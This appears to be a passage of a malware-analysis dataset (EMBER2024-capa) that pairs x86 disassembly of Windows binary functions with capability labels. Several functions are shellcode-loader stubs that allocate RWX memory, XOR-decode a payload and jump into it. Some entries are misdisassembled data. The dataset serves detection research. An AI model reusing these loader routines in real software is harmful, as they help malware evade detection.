joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100db7e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100db7ef
pop dword [ebp - 0x24]
mov eax, 0x100db7ef
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x5a258
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x1fa00fba
add ecx, 0xe060405f
mov edx, eax
mov esi, 0x63faf98f
add esi, 0xac187e71
add esi, dword [ebp - 0x24]
mov ebx, 0xbdcfd83b
sub ebx, 0x7e73f86c
xor dword [ebp - 0x18], 0x2af072a
mov edi, dword [esi]
add dword [ebp - 0x14], 0xa556d0b3
add edi, ebx
sub dword [ebp - 0x10], 0xe8b536ff
mov dword [edx], edi
add dword [ebp - 4], edx
add edx, 0xc8dc3a63
sub edx, 0xc8dc3a5f
add esi, 0xdbbd2581
sub esi, 0xdbbd257d
loop 0x100db844
add eax, 0xe1d5af09
add eax, 0x1e2b842e
xor ebx, ebx
add ebx, eax
add eax, 0xd33be119
add eax, 0x2cc41eec
mov ecx, 0x9035d9ee
sub ecx, 0x8035d9ee
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x428d20
Capabilities:
Inspect section memory permissions

Disassembly:
arpl si, ax
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid

Function at 0x428e77
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax + 4], ebx
jne 0x428e0f
cmp dword [eax + 0xc], ebx
je 0x428eb2
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.0042886a
pop dword [esi + 0x6c]
mov ebp, 0x750c5d39
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x428ea0
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x428e7b
and eax, 0xffff
push eax
jmp 0x428e7f
add byte [eax - 0x15], dl
add al, 0x83
rol dword [edx], 0x51
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042882f
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x429059
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x428e60
add dword [ebp - 0x44], 0x14
invalid
invalid
invalid

Function at 0x428f80
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x428f41
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x428f5f
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x428fbd
mov edx, edi
mov dword [ebp + 8], edi
jge 0x428f8a
jge 0x428f8a
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
jge 0x428f9c
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x428fa4
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x428fad
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x428fb7
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x428f99
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x428f23
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x10046d62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10046d71
pop dword [ebp - 0x4c]
mov eax, 0xe463b8c1
sub eax, 0xd45f4b50
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x9e02543b
add dword [ebp - 0x5c], 0xb04ff110
mov dword [ebp - 0x58], 0x52786446
add dword [ebp - 0x58], 0xdfbae7ff
mov dword [ebp - 0x54], 0x37d23fc2
add dword [ebp - 0x54], 0x147a046c
mov dword [ebp - 0x50], 0x91a3cc31
sub dword [ebp - 0x50], 0x91a3cc31
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x57b34788
add eax, 0xb8524984
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x703cc254
sub dword [ebp - 0x5c], 0xfbca58fe
mov dword [ebp - 0x58], 0x79330a76
sub dword [ebp - 0x58], 0x37c6a901
mov dword [ebp - 0x54], 0x6e899eea
sub dword [ebp - 0x54], 0xb1a327e
mov dword [ebp - 0x50], 0x4a7faf76
sub dword [ebp - 0x50], 0x4a7faf76
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x807dec20
sub eax, 0x70785be0
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x5e06f
push 0
call eax
mov ecx, 0x93c977cb
sub ecx, 0x93c92e42
mov esi, eax
mov edi, 0xff554ee8
sub edi, 0xef4ebae8
add edi, dword [ebp - 0x4c]
mov edx, 0xa83e6a6d
xor dword [ebp - 8], 0xf13d3aa6
mov ebx, dword [edi]
xor dword [ebp - 0x20], eax
sub ebx, edx
add dword [ebp - 0x1c], 0x38926be9
mov dword [esi], ebx
xor dword [ebp - 0x1c], 0x72e6f425
add esi, 4
add edi, 4
loop 0x10046e8d
add eax, 0x2cc6abf1
add eax, 0xd33a6d06
mov ebx, eax
add eax, 0x1fc0eb30
sub eax, 0x1fc0eb2b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x1000e6d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000e6e4
pop dword [ebp - 0x2c]
mov eax, 0xb7aa33f7
sub eax, 0xa7a94d13
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x159faefc
sub dword [ebp - 0x3c], 0xc74d69b1
mov dword [ebp - 0x38], 0x27c9ec79
sub dword [ebp - 0x38], 0xf596a034
mov dword [ebp - 0x34], 0x93bbec0b
add dword [ebp - 0x34], 0xb8905823
mov dword [ebp - 0x30], 0xe6b075d7
sub dword [ebp - 0x30], 0xe6b075d7
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x7e5597b
add eax, 0x820a695
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x58cbde9b
add dword [ebp - 0x3c], 0x1ba68abb
mov dword [ebp - 0x38], 0xaee54127
add dword [ebp - 0x38], 0x9287204e
mov dword [ebp - 0x34], 0xe1c0b9c1
sub dword [ebp - 0x34], 0x7e514d55
mov dword [ebp - 0x30], 0x59b6a58a
add dword [ebp - 0x30], 0xa6495a76
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xf99d42dc
add eax, 0x1668bd38
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x531f6
push 0
call eax
mov ecx, 0x37003e7f
sub ecx, 0x370001d5
mov edx, eax
mov edi, 0xc2e4351
add edi, 0x3da78af
add edi, dword [ebp - 0x2c]
mov esi, 0x4fcf5912
sub dword [ebp - 0x1c], edx
mov ebx, dword [edi]
sub dword [ebp - 0x20], esi
xor ebx, esi
sub dword [ebp - 0x10], edi
mov dword [edx], ebx
add edx, 0xd1d1fa57
sub edx, 0xd1d1fa53
add edi, 4
loop 0x1000e800
add eax, 0x4d1bbf06
sub eax, 0x4d1ad98b
xor ebx, ebx
add ebx, eax
add eax, 0x1d243b7f
add eax, 0xe2dbc486
mov ecx, 0x10000000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x100013d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], ecx
cmp byte [ebp + 0xc], 0
mov eax, edx
push edi
cmovne esi, eax
mov dword [ebp - 4], eax
xor edi, edi
mov dword [ebp - 0x18], edi
test esi, esi
jne 0x100013f7
xor bl, bl
jmp 0x1000141c
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push esi
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
setne bl
push eax
push dword [ebp + 8]
mov byte [ebp - 0xc], bl
push ecx
call fcn.100078a0
add esp, 0xc
test bl, bl
je 0x10001445
mov eax, dword [ebp - 0x10]
lea ecx, [ebp + 0xc]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp + 0xc], eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
push eax
push 0x40
push 1
push esi
mov edi, ecx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov cl, byte [esi]
mov byte [ebp - 1], cl
test eax, eax
je 0x1000149e
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], eax
push dword [ebp - 0x1c]
call ebx
mov cl, byte [ebp - 1]
movzx eax, cl
sub eax, 0xe8
je 0x1000155c
sub eax, 1
je 0x1000155c
sub eax, 0x16
jne 0x1000154d
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
inc esi
mov dword [ebp - 0x18], 1
push 1
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov cl, byte [esi]
mov byte [ebp - 1], cl
test eax, eax
je 0x100014fc
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], eax
push dword [ebp - 0x1c]
call ebx
mov cl, byte [ebp - 1]
cmp cl, 0x15
je 0x10001506
cmp cl, 0x25
jne 0x1000154d
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
add esi, 2
mov dword [ebp - 0x18], 4
push 4
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov esi, dword [esi]
test eax, eax
je 0x10001540
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], eax
push dword [ebp - 0x1c]
call ebx
mov eax, dword [esi]
mov dword [edi], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
push 0x40
inc esi
mov dword [ebp - 0x18], 4
push 4
push esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
setne byte [ebp - 0x10]
mov ecx, dword [esi]
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x1000159a
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], eax
push dword [ebp - 0x1c]
call ebx
mov ecx, dword [ebp - 0xc]
lea eax, [esi + 4]
add eax, ecx
mov dword [edi], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100015b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push ecx
mov edx, esp
mov dword [ebp - 4], ecx
mov dword [edx], eax
call fcn.10001450
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], esi
push eax
push 0x40
push 1
push esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov byte [esi], 0xe8
test eax, eax
je 0x1000160a
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call ebx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10]
mov edi, dword [ebp + 0xc]
inc esi
push eax
push 0x40
push 4
sub edi, esi
mov dword [ebp - 0x14], 4
push esi
sub edi, 4
mov dword [ebp - 0x18], esi
call ebx
test eax, eax
setne byte [ebp - 0xc]
mov dword [esi], edi
test eax, eax
je 0x1000164a
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], eax
push dword [ebp - 0x18]
call ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 1
push esi
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 8]
mov bl, byte [esi]
test eax, eax
je 0x10004017
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp - 0x10]
mov dword [ebp - 4], ecx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004560
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
je 0x1000458f
mov byte [esi + 0x24], 0
mov edx, dword [esi + 0x1c]
call fcn.10004de0
mov eax, dword [esi + 0x1c]
mov ecx, esi
mov dword [eax], eax
mov eax, dword [esi + 0x1c]
mov dword [eax + 4], eax
mov dword [esi + 0x20], 0
pop esi
jmp fcn.10003b50
pop esi
ret

Function at 0x10005860
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov ecx, 0x401000
call fcn.10005a90
mov dword [ebp - 4], eax
lea ecx, [ebp - 4]
lea eax, [ebp - 8]
push eax
call fcn.10003bd0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x14], 4
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne byte [ebp - 0xc]
mov esi, dword [esi]
test eax, eax
je 0x100058bd
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
push dword [ebp - 0x18]
call edi
cmp esi, 0x53ec8b55
jne 0x100058d0
mov eax, 0x3e9
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x401000
call fcn.10005a90
mov dword [ebp - 4], eax
lea ecx, [ebp - 4]
lea eax, [ebp - 8]
push eax
call fcn.10003bd0
mov dword [ebp - 0x14], 4
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x18], esi
call edi
test eax, eax
setne byte [ebp - 0xc]
mov esi, dword [esi]
test eax, eax
je 0x1000591f
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
push dword [ebp - 0x18]
call edi
cmp esi, 0x16197be9
jne 0x10005932
mov eax, 0x3ea
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x8245bc
call fcn.10005d10
cmp eax, 0x94bf
jne 0x1000594e
mov eax, 0x3f3
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x8252fc
call fcn.10005d10
cmp eax, 0x94bf
jne 0x1000596a
mov eax, 0x44d
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x82533c
call fcn.10005d10
cmp eax, 0x94bf
jne 0x10005986
mov eax, 0x457
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x858d51
call fcn.10005d10
cmp eax, 0x3539f633
jne 0x100059a2
mov eax, 0xc80
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, 0x858c61
call fcn.10005d10
xor ecx, ecx
mov edx, 0xc8a
cmp eax, 0x3539f633
pop edi
cmove ecx, edx
mov eax, ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005d10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
call fcn.10005a90
mov dword [ebp - 4], eax
lea ecx, [ebp - 4]
lea eax, [ebp - 8]
push eax
call fcn.10003bd0
mov dword [ebp - 0x14], 4
mov esi, dword [eax]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 4
push esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
setne byte [ebp - 0xc]
mov esi, dword [esi]
test eax, eax
je 0x10005d69
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp - 0x14]
mov dword [ebp - 4], ecx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000def5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000df34
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000df34
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000df34
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000df34
cmp dword [ecx + 0x74], 0xe
jbe 0x1000df34
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10013009
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10012f8b

Function at 0x10013753
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10020da0
push 0x10020d98
push str.FlsAlloc
push 0x1f
call fcn.100135ef
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10013787
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001d154]
call esi
jmp 0x1001378d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100137d1
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10020db0
push 0x10020da8
push str.FlsGetValue
push 0x21
call fcn.100135ef
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10013808
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001d154]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10013810
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10020db8
push 0x10020db0
push str.FlsSetValue
push 0x22
call fcn.100135ef
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001384a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001d154]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10017e8a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10017f27
push ebx
push esi
call fcn.10017e53
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10016ed1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10017ed4
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017f26
push edi
push eax
call fcn.10010f9c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10017ef4
call fcn.10010f62
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10017f25
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10016ed1
add esp, 0x20
test eax, eax
jne 0x10017f13
push edi
call fcn.10010f62
jmp 0x10017f1b
push ebx
call fcn.10010f62
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401080
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 8
mov dword [esp], eax
call dword [sym.imp.shlwapi.dll_PathSkipRootW]
mov edi, dword [sym.imp.kernel32.dll_CreateDirectoryW]
sub esp, 4
mov ebx, eax
test eax, eax
jne 0x4010ab
jmp 0x4010e0
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x4010e0
cmp ax, 0x5c
jne 0x4010a8
xor eax, eax
mov word [ebx], ax
mov dword [esp + 4], 0
mov dword [esp], esi
call edi
mov edx, 0x5c
mov word [ebx], dx
sub esp, 8
jmp 0x4010a8
mov dword [esp + 4], 0
mov dword [esp], esi
call edi
mov edx, eax
sub esp, 8
mov eax, 1
test edx, edx
jne 0x40110e
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 0xb7
sete al
movzx eax, al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4015d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov eax, dword fs:[0x18]
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x144
mov esi, dword [eax + 0x20]
mov dword [ebp - 0x138], 0
test byte [section..data], 8
jne 0x401770
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov ebx, eax
cmp eax, 0xffffffff
je 0x401708
lea edi, [ebp - 0x134]
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [ebp - 0x134], 0x128
call sub.kernel32.dll_Process32First
sub esp, 8
test eax, eax
jne 0x401667
jmp 0x401738
mov dword [esp + 4], edi
mov dword [esp], ebx
call sub.kernel32.dll_Process32Next
sub esp, 8
test eax, eax
je 0x401738
cmp esi, dword [ebp - 0x12c]
jne 0x401650
mov eax, dword [ebp - 0x11c]
mov dword [esp + 4], 0
mov dword [esp], 0x100000
mov dword [esp + 8], eax
call dword [sym.imp.kernel32.dll_OpenProcess]
mov dword [ebp - 0x138], eax
sub esp, 0xc
test eax, eax
je 0x4017e8
lea eax, [ebp - 0x138]
mov dword [esp + 0x10], 0x1cff
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 1
call dword [sym.imp.user32.dll_MsgWaitForMultipleObjects]
sub esp, 0x14
test eax, eax
jne 0x4017a0
lea esi, [esi]
mov eax, dword [ebp - 0x138]
test eax, eax
je 0x4016f6
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_CloseHandle]
sub esp, 4
test ebx, ebx
jne 0x40171f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
test byte [section..data], 2
jne 0x401838
mov eax, dword [ebp - 0x138]
test eax, eax
jne 0x4016ea
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
test byte [section..data], 4
je 0x4016e0
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], str.Unable_to_find_current_process_id__ld_when_listing_processes_n
mov dword [esp + 8], str.WaitForParentProcess
mov dword [esp + 4], 0x40f000
mov dword [esp], 2
call fcn.00401580
jmp 0x4016e0
mov dword [esp + 0xc], str.Waiting_for_parent_process_n
mov dword [esp + 8], str.WaitForParentProcess
mov dword [esp + 4], 0x40f000
mov dword [esp], 3
call fcn.00401580
jmp 0x4015fc
test byte [section..data], 2
je 0x4016e0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x34]
mov dword [esp + 0xc], str.Unable_to_wait_for_parent_process__error__ld_n
mov dword [esp + 8], str.WaitForParentProcess
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0x40f000
mov dword [esp], 1
call fcn.00401580
jmp 0x4016e0
test byte [section..data], 4
je 0x4016f6
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x34]
mov dword [esp + 0xc], str.OpenProcess_failed_pid_ld__error__ld_n
mov dword [esp + 8], str.WaitForParentProcess
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x11c]
mov dword [esp + 4], 0x40f000
mov dword [esp + 0x10], eax
mov dword [esp], 2
call fcn.00401580
jmp 0x4016e0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x34]
mov dword [esp + 0xc], str.CreateToolhelp32Snapshot_failed__error__ld_n
mov dword [esp + 8], str.WaitForParentProcess
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0x40f000
mov dword [esp], 1
call fcn.00401580
jmp 0x401715
Function at 0x401870
Capabilities:
Check if process is running under wine
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, edx
push ebx
mov ebx, eax
lea eax, [ebp - 0x10]
sub esp, 0x1c
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareWineMenuFiles
mov dword [esp], 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyW]
sub esp, 0xc
test eax, eax
jne 0x401900
mov edi, dword [ebp - 0x10]
test edi, edi
je 0x40190a
cmp word [esi], 0
mov eax, esi
je 0x40191d
nop
add eax, 2
cmp word [eax], 0
jne 0x4018b0
sub eax, esi
add eax, 2
mov dword [esp + 0x10], esi
mov dword [esp + 4], ebx
mov dword [esp], edi
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
call dword [sym.imp.advapi32.dll_RegSetValueExW]
sub esp, 0x18
mov ebx, eax
mov dword [esp], edi
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, ebx
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edx, dword fs:[0x18]
mov dword [edx + 0x34], eax
mov eax, dword fs:[0x18]
mov ebx, dword [eax + 0x34]
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 2
jmp 0x4018be

Function at 0x401930
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, 0x1000
sub esp, 0x1c
jmp 0x401950
cmp ebx, eax
jg 0x4019a0
lea ebx, [eax + 1]
mov dword [esp], edi
call dword [sym.imp.ucrtbase.dll_free]
lea esi, [ebx + ebx]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_malloc]
mov edi, eax
test eax, eax
je 0x4019aa
lea eax, [ebp + 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 8], edi
mov dword [esp], 4
mov dword [esp + 4], 0
call dword [sym.imp.ucrtbase.dll___stdio_common_vswprintf]
test eax, eax
jns 0x401940
mov ebx, esi
jmp 0x401947
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
test byte [section..data], 2
jne 0x4019c0
mov dword [esp], 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov dword [esp + 0xc], str.out_of_memory_n
mov dword [esp + 8], str.xmalloc
mov dword [esp + 4], 0x40f000
mov dword [esp], 1
call fcn.00401580
jmp 0x4019b3